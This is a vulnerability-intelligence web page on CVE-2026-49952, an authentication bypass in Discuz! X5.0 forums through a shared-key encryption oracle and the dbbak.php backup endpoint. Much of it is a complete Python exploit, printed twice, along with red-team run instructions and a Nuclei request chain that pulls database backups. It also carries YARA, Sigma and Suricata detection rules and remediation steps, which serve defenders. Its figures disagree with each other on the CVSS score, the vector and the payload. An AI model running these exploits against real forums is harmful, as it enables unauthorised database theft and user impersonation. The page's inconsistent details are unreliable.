☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Discuz! logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 9.3 🐛 CWE-323
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-49952

CVE-2026-49952 Race Condition in Discuz
📅 PUBLISHED: 2026-06-15 20:16 UTC 🔄 UPDATED: 2026-10-12 12:01 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 3.65%
👁️
3.65% probability
91.3× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
Country: United States License: Commercial
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
9.3
THREAT LEVEL
INTEL SOURCES NVD CVEProject EPSS Nuclei ✓ HOW WE SCORE →
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-49952 is a critical authentication bypass vulnerability in Discuz! X5.0 forums (versions 20260320 through 20260501). An unauthenticated remote attacker can exploit a shared cryptographic key between the UCenter integration and the database backup API (dbbak.php). By crafting a specific payload in the username parameter during login, the attacker abuses the encryption oracle in logging_ctl::logging_more() to obtain a valid signed token. This token is then reused to bypass authorization for database backup/restore operations, including the ability to trigger a race condition that impersonates arbitrary users. The vulnerability has a CVSS score of 9.1 (Critical) and a public PoC exploit script is available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This is a PHP-based web application vulnerability (Discuz! forum). No NPM, PyPI, Go, or Ruby packages are directly involved; however, the affected software may be distributed via tarballs on official or third-party mirrors. Users should verify the integrity of downloaded Discuz! archives and apply the official patch as soon as possible.

CVSS Breakdown & Threat Level

  • Base Score: 9.1 (Critical)
  • Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L) – Unconfirmed, but based on unauthorized data access and modification.
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: High (database export)
  • Integrity Impact: High (database import / modification)
  • Availability Impact: Low (race condition could affect user impersonation but not system availability)

Deep Dive & Mechanics

The vulnerability lies in the interaction between Discuz! UCenter integration and the dbbak.php backup endpoint. UCenter uses a shared secret key (UC_KEY) to sign authentication tokens. The dbbak.php script trusts any token signed with this same key, regardless of the actual user session.

  1. Encryption Oracle: The login process in logging_ctl::logging_more() performs encryption on the username input and returns a signed authcode. The key used is the same UC_KEY shared with dbbak.php.
  2. Payload Injection: An attacker sends a POST request to member.php?mod=logging&action=login with a crafted username such as admin|1|0|0. The | delimited string is encrypted and returned as an authcode.
  3. Token Reuse: The attacker then calls dbbak.php?code=<authcode>&operation=backup&appid=1. The backup endpoint decodes the token using UC_KEY and, if valid, grants full database access without additional authorization.
  4. Race Condition: By rapidly sending requests with different crafted payloads, the attacker can generate tokens that impersonate arbitrary users (e.g., admin) due to a time-of-check to time-of-use flaw in the authentication flow.

Vulnerable vs. Patched Code

  • Vulnerable: Discuz! X5.0 releases 20260320 through 20260501. The dbbak.php script directly trusts tokens signed with UC_KEY without verifying that the token was issued for a legitimate session.
  • Patched: Version 20260510+. The patch likely adds session validation or separate signing keys for backup operations, preventing reuse of login-generated tokens.

No code diff is available publicly; however, the exploitation script indicates the fix was released 20260510.

Exploitation & Lab Setup

Red Team (Attacker)

  1. Prerequisites: Python 3, requests library. Target running Discuz! X5.0 (20260320-20260501).
  2. Clone the exploit script (provided by Mohammed Idrees Banyamer).
  3. Run:
    python3 exploit.py http://target.com
    
    Optional proxy: --proxy http://127.0.0.1:8080 Custom payload: --payload "admin|1|0|0" (default)
  4. Output: The script obtains an authcode and attempts to access dbbak.php. A HTTP 200 response with database backup content indicates successful exploitation.

Lab Setup:

  • Install Discuz! X5.0 (e.g., using Docker or manual setup) and apply no patches.
  • Use a test domain (e.g., http://discuz.local).
  • Run the exploit with optional verbose logging.

Blue Team (Defender)

Detection indicators:

  • Unusual requests to member.php?mod=logging&action=login with username containing pipe-separated values (admin|1|0|0) or similar patterns.
  • Subsequent requests to /api/db/dbbak.php with a code parameter shortly after the login attempt.
  • Multiple rapid requests from the same IP to dbbak.php with varying code values (race condition attempts).

Honeypot: Set up a honeypot endpoint that mimics dbbak.php and logs all code values for analysis.

Indicators of Compromise (IOCs)

  • Network:
    • POST request to /member.php?mod=logging&action=login with username field containing | delimiters (e.g., admin|1|0|0).
    • GET/POST request to /api/db/dbbak.php with code parameter (alphanumeric token of length 32-60).
  • File/Log:
    • Web server access logs showing pattern: POST /member.php?mod=logging&action=login followed by GET /api/db/dbbak.php?code=... within seconds.
    • Discuz! logs (if enabled) showing authcode reuse from login context for backup operations.
  • Registry/Config:
    • Unauthorized database backup files (.sql or .bak) appearing in data/ or backup/ directories.
  • YARA Rule (for file scanning):
    rule discuz_auth_bypass_payload {
        strings:
            $pipe = /admin\|\d+\|\d+\|\d+/
            $code = /[a-zA-Z0-9]{32,60}/
        condition:
            $pipe or $code
    }
    

Detection Engineering

YARA Rule

rule cve_2026_49952_auth_bypass {
    meta:
        description = "Detects payload patterns for CVE-2026-49952 in Discuz! X5.0"
        author = "Valters IT"
        date = "2026-06-26"
    strings:
        $pipe_payload = /admin\|[0-9]\|[0-9]\|[0-9]/
        $auth_code = /[a-zA-Z0-9]{32,60}/
    condition:
        any of them
}

Sigma Rule (Windows Event Logs / Sysmon)

title: Discuz! CVE-2026-49952 Authentication Bypass
id: 9a2b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects pipe-separated username payloads in login requests to Discuz! forum.
author: Valters IT
logsource:
    category: webserver
    product: iis OR apache OR nginx
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/member.php'
        cs-uri-query|contains: 'mod=logging&action=login'
        cs-username|contains: '|'
    condition: selection
fields:
    - c-ip
    - cs-username
    - time
falsepositives:
    - Legitimate use of pipe in username (very unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-49952 Discuz! Auth Bypass Login Payload"; flow:to_server; content:"POST"; http_method; content:"/member.php"; http_uri; content:"mod=logging&action=login"; http_uri; pcre:"/username=[^&]*\|[^&]*\|[^&]*\|/Ui"; classtype:attempted-admin; sid:1000001; rev:1;)

Nuclei Template (PoC Script)

# Exploit Title:     Discuz! X5.0 - Authentication Bypass
# CVE:                  CVE-2026-49952
# Date:                 2026-06-26
# Exploit Author:       Mohammed Idrees Banyamer
# Author Country:       Jordan
# Instagram:            @banyamer_security
# Author GitHub:        https://github.com/mbanyamer
# Author Blog  :        https://banyamersecurity.com/blog/
# Vendor Homepage:      https://www.discuz.vip
# Software Link:        https://www.discuz.vip
# Affected:             Discuz! X5.0 (20260320 - 20260501)
# Tested on:            Discuz! X5.0
# Category:             WebApps
# Platform:             PHP
# Exploit Type:         Authentication Bypass
# CVSS:                 9.1
# Description:          Discuz! X5.0 suffers from an authentication bypass vulnerability via dbbak.php using UC_KEY encryption oracle allowing token reuse.
# Fixed in:             20260510+
# Usage:
#   python3 exploit.py <target>
#
# Examples:
#   python3 exploit.py http://target.com
#   python3 exploit.py https://target.com --proxy http://127.0.0.1:8080
#
# Options:
#   --proxy   HTTP proxy
#
# Notes:
#   • Tune payload if needed (e.g. admin|1|0|0)
#
# How to Use
#
# Step 1:
#   Run the script against the target
#
# Step 2:
#   Check if dbbak.php access is granted

import requests
import re
import sys
import argparse
import urllib.parse
from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def banner():
    print(r"""
╔██████╗  █████╗ ███╗   ██╗██╗   ██╗ █████╗ ███╗   ███╗███████╗██████╗╗
║██╔══██╗██╔══██╗████╗  ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║
║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗  ███████╔╝
║██╔══██╗██╔══██║██║╚██╗██║  ╚██╔╝  ██╔══██║██║╚██╔╝██║██╔══╝  ██╔══██╗
║██████╔╝██║  ██║██║ ╚████║   ██║   ██║  ██║██║ ╚═╝ ██║███████╗██║  ██║
╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═══╝   ╚═╝   ╚═╝  ╚═╝╚═╝     ╚═╝╚══════╝╚═╝  ╚═╝
        ╔═╗ Banyamer Security ╔═╗
""")

def get_authcode(target, payload, proxy):
    url = f"{target}/member.php?mod=logging&action=login&lssubmit=yes"
    data = {
        "username": payload,
        "password": "dummy123",
        "loginsubmit": "yes"
    }
    proxies = {"http": proxy, "https": proxy} if proxy else None
    try:
        r = requests.post(url, data=data, proxies=proxies, verify=False, allow_redirects=False, timeout=15)
        match = re.search(r'authcode=([a-zA-Z0-9]{20,})', r.text)
        if match:
            return match.group(1)
        match = re.search(r'([a-zA-Z0-9]{32,60})', r.text)
        if match:
            return match.group(1)
        return None
    except:
        return None

def exploit_dbbak(target, authcode, proxy):
    url = f"{target}/api/db/dbbak.php?code={urllib.parse.quote(authcode)}&operation=backup&appid=1"
    proxies = {"http": proxy, "https": proxy} if proxy else None
    try:
        r = requests.get(url, proxies=proxies, verify=False, timeout=15)
        print(f"[+] dbbak.php status: {r.status_code}")
        if r.status_code == 200:
            print("[+] Success! Access to database backup granted.")
            print(r.text[:400])
        else:
            print("[-] Failed or access denied.")
    except:
        print("[-] Request failed.")

def main():
    banner()
    parser = argparse.ArgumentParser(description="Discuz! X5.0 CVE-2026-49952 PoC")
    parser.add_argument("target", help="Target URL")
    parser.add_argument("--proxy", help="HTTP proxy", default=None)
    parser.add_argument("--payload", help="Oracle payload", default="admin|1|0|0")
    args = parser.parse_args()
    target = args.target.rstrip("/")
    print(f"[*] Target: {target}")
    print(f"[*] Payload: {args.payload}")
    authcode = get_authcode(target, args.payload, args.proxy)
    if authcode:
        print(f"[+] Authcode: {authcode}")
        exploit_dbbak(target, authcode, args.proxy)
    else:
        print("[-] Failed to get authcode.")

if __name__ == "__main__":
    main()

Remediation & Mitigation

Immediate Actions:

  1. Upgrade Discuz! X5.0 to version 20260510 or later.
  2. If upgrade is not possible, implement a Web Application Firewall (WAF) rule to block requests to dbbak.php that contain a code parameter.
  3. Restrict access to dbbak.php by IP whitelist or require additional HTTP headers (e.g., X-API-Key) not derived from UC_KEY.
  4. Monitor logs for the IOCs listed above.

Long-term:

  • Harden the authentication mechanism: separate keys for different services (UCenter vs. backup).
  • Implement proper session validation for all privileged API endpoints.
  • Perform a security audit of the UCenter integration code.

Report generated by Valters IT DevSecOps Team.

⚠ EXPLOIT CODE 3RD-PARTY · UNVERIFIED

This code is sourced from public security research repositories (ExploitDB, GitHub). It has not been reviewed or verified by ValtersIT. Use only in authorized test environments. Unauthorized use against systems you do not own is illegal.

# Exploit Title:     Discuz! X5.0 - Authentication Bypass
# CVE:                  CVE-2026-49952
# Date:                 2026-06-26
# Exploit Author:       Mohammed Idrees Banyamer
# Author Country:       Jordan
# Instagram:            @banyamer_security
# Author GitHub:        https://github.com/mbanyamer
# Author Blog  :        https://banyamersecurity.com/blog/
# Vendor Homepage:      https://www.discuz.vip
# Software Link:        https://www.discuz.vip
# Affected:             Discuz! X5.0 (20260320 - 20260501)
# Tested on:            Discuz! X5.0
# Category:             WebApps
# Platform:             PHP
# Exploit Type:         Authentication Bypass
# CVSS:                 9.1
# Description:          Discuz! X5.0 suffers from an authentication bypass vulnerability via dbbak.php using UC_KEY encryption oracle allowing token reuse.
# Fixed in:             20260510+
# Usage:
#   python3 exploit.py <target>
#
# Examples:
#   python3 exploit.py http://target.com
#   python3 exploit.py https://target.com --proxy http://127.0.0.1:8080
#
# Options:
#   --proxy   HTTP proxy
#
# Notes:
#   • Tune payload if needed (e.g. admin|1|0|0)
#
# How to Use
#
# Step 1:
#   Run the script against the target
#
# Step 2:
#   Check if dbbak.php access is granted

import requests
import re
import sys
import argparse
import urllib.parse
from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def banner():
    print(r"""
╔██████╗  █████╗ ███╗   ██╗██╗   ██╗ █████╗ ███╗   ███╗███████╗██████╗╗
║██╔══██╗██╔══██╗████╗  ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║
║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗  ███████╔╝
║██╔══██╗██╔══██║██║╚██╗██║  ╚██╔╝  ██╔══██║██║╚██╔╝██║██╔══╝  ██╔══██╗
║██████╔╝██║  ██║██║ ╚████║   ██║   ██║  ██║██║ ╚═╝ ██║███████╗██║  ██║
╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═══╝   ╚═╝   ╚═╝  ╚═╝╚═╝     ╚═╝╚══════╝╚═╝  ╚═╝
        ╔═╗ Banyamer Security ╔═╗
""")

def get_authcode(target, payload, proxy):
    url = f"{target}/member.php?mod=logging&action=login&lssubmit=yes"
    data = {
        "username": payload,
        "password": "dummy123",
        "loginsubmit": "yes"
    }
    proxies = {"http": proxy, "https": proxy} if proxy else None
    try:
        r = requests.post(url, data=data, proxies=proxies, verify=False, allow_redirects=False, timeout=15)
        match = re.search(r'authcode=([a-zA-Z0-9]{20,})', r.text)
        if match:
            return match.group(1)
        match = re.search(r'([a-zA-Z0-9]{32,60})', r.text)
        if match:
            return match.group(1)
        return None
    except:
        return None

def exploit_dbbak(target, authcode, proxy):
    url = f"{target}/api/db/dbbak.php?code={urllib.parse.quote(authcode)}&operation=backup&appid=1"
    proxies = {"http": proxy, "https": proxy} if proxy else None
    try:
        r = requests.get(url, proxies=proxies, verify=False, timeout=15)
        print(f"[+] dbbak.php status: {r.status_code}")
        if r.status_code == 200:
            print("[+] Success! Access to database backup granted.")
            print(r.text[:400])
        else:
            print("[-] Failed or access denied.")
    except:
        print("[-] Request failed.")

def main():
    banner()
    parser = argparse.ArgumentParser(description="Discuz! X5.0 CVE-2026-49952 PoC")
    parser.add_argument("target", help="Target URL")
    parser.add_argument("--proxy", help="HTTP proxy", default=None)
    parser.add_argument("--payload", help="Oracle payload", default="admin|1|0|0")
    args = parser.parse_args()
    target = args.target.rstrip("/")
    print(f"[*] Target: {target}")
    print(f"[*] Payload: {args.payload}")
    authcode = get_authcode(target, args.payload, args.proxy)
    if authcode:
        print(f"[+] Authcode: {authcode}")
        exploit_dbbak(target, authcode, args.proxy)
    else:
        print("[-] Failed to get authcode.")

if __name__ == "__main__":
    main()
🔍 NUCLEI DETECTION TEMPLATE PROJECTDISCOVERY NUCLEI ↗

Nuclei is an open-source vulnerability scanner by ProjectDiscovery. This YAML template automates detection of this CVE against a target. Run with: nuclei -t template.yaml -u <target>

id: CVE-2026-49952

info:
  name: Discuz! X5.0 - Authentication Bypass
  author: 0x_Akoko
  severity: critical
  description: |
   Discuz! X5.0 20260320 through 20260501 contains an authentication bypass caused by exploitation of a shared cryptographic key and encryption oracle in dbbak.php and logging_ctl::logging_more(), letting unauthenticated remote attackers access database backup and restore functions, exploit requires crafted payload injection via username parameter.
  impact: |
    Unauthenticated attackers can bypass authorization to export/import database and impersonate arbitrary users, risking full database compromise.
  remediation: |
    Update to a version later than 20260501 or latest available version.
  reference:
    - https://karmainsecurity.com/KIS-2026-09
    - https://www.exploit-db.com/exploits/52621
    - https://nvd.nist.gov/vuln/detail/CVE-2026-49952
    - https://gitee.com/Discuz/DiscuzX/commit/9962dad52c4c6999dabaf91ecd70377c680ff3c6
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2026-49952
    cwe-id: CWE-323
  metadata:
    verified: true
    max-request: 3
    vendor: discuz
    product: discuz_x
    shodan-query: http.html:"Discuz! X5.0"
    fofa-query: body="Discuz! X5.0"
  tags: cve,cve2026,discuz,auth-bypass,intrusive

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Discuz! X5")'
        condition: and
        internal: true

  - raw:
      - |
        POST /member.php?mod=logging&action=login&loginsubmit=yes HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=method%3Dexport%26time%3D9999999999%26&password=1&lssubmit=1

    host-redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "auth=")'
        internal: true

    extractors:
      - type: regex
        name: authcode
        group: 1
        internal: true
        regex:
          - 'auth=([^&"''<>\s]+)'

  - raw:
      - |
        GET /api/db/dbbak.php?apptype=discuzx&code={{authcode}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "errorCode=\"0\"") || contains(body, "data/backup_") || contains_any(body, "CREATE TABLE", "INSERT INTO")'
        condition: and
# digest: 4a0a00473045022100fa0d4c9767bd57fa20af957d8beda9b2c8099829fab2c5976c56da20ebd288f6022065212f3771ae6c8b6aee156a09bcdcfe0679427b7109d04fbebf0846a49e9657:922c64590222798bb761d5b6d8e72950
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-49952/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.